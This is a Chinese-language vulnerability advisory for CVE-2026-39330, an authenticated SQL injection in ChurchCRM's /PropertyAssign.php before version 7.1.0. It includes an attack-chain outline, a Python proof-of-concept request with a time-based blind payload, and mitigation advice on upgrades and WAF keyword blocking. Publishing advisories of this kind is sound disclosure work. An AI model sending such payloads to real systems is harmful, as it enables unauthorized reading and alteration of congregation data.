IPBUF安全漏洞报告
English
CVE-2026-39330 CVSS 8.8 高危

CVE-2026-39330 ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39330
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMCVE-2026-39330高危漏洞Web安全认证后漏洞

漏洞概述

ChurchCRM是一款开源的教会管理系统。在7.1.0版本之前,该系统的/PropertyAssign.php端点存在SQL注入漏洞。拥有“管理群组和角色”及“编辑记录”权限的经过身份认证的用户,可以通过Value参数注入任意SQL语句。攻击者利用此漏洞可以从数据库中提取敏感信息或修改数据,对系统的机密性、完整性和可用性造成严重影响。该漏洞已在7.1.0版本中修复。

技术细节

该漏洞根本原因在于ChurchCRM应用在/PropertyAssign.php端点处理用户请求时,对传入的“Value”参数缺乏严格的类型检查和安全过滤,导致其被直接拼接到SQL查询语句中执行。攻击者首先需要注册或通过其他方式获取一个具备“管理群组和角色”及“编辑记录”权限的合法账户。在拥有认证会话后,攻击者构造包含SQL元字符(如单引号、注释符)和恶意SQL指令的Payload,并将其赋值给Value参数发送至服务器。由于后端未使用预处理语句或ORM,数据库会直接执行拼接后的SQL。这使得攻击者能够利用UNION SELECT查询获取数据库结构、读取用户表中的密码哈希,甚至通过UPDATE语句修改管理员权限,从而完全控制应用系统。

攻击链分析

STEP 1
侦察与信息收集
攻击者识别出目标系统使用的是ChurchCRM,并确认版本号低于7.1.0。
STEP 2
获取初始访问凭证
攻击者通过网络钓鱼、弱口令爆破或注册默认账户,获取一个具有ManageGroups和isEditRecordsEnabled权限的低权限用户账号。
STEP 3
漏洞利用
攻击者使用该账户登录,向/PropertyAssign.php端点发送特制的POST请求,在Value参数中注入恶意SQL代码。
STEP 4
数据窃取或破坏
数据库执行恶意SQL语句,攻击者导出敏感数据(如用户个人信息、凭据哈希)或修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # POC for ChurchCRM SQL Injection (CVE-2026-39330) # Target: /PropertyAssign.php # Parameter: Value # Requires valid session cookie with ManageGroups and isEditRecordsEnabled privileges target_url = "http://target-churchcrm/PropertyAssign.php" session_cookie = "Valid_Session_Cookie_Here" # Replace with a valid authenticated session # Malicious payload to test SQL Injection (Time-based blind) # This payload attempts to cause a delay of 5 seconds if the injection is successful sqli_payload = "1' AND SLEEP(5)-- -" # Data payload mimicking the vulnerable request payload_data = { "Value": sqli_payload, "PropertyID": "1", "GroupID": "1" } headers = { "Cookie": f"CRM={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection exists.") else: print("[-] Vulnerability not detected or privileges insufficient.") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级,建议通过WAF规则拦截针对/PropertyAssign.php的异常请求,特别是包含单引号、UNION、SELECT等SQL关键字的参数。同时,应立即审计所有具有ManageGroups和EditRecords权限的账户,确认未发生异常访问,并强制重置相关用户密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表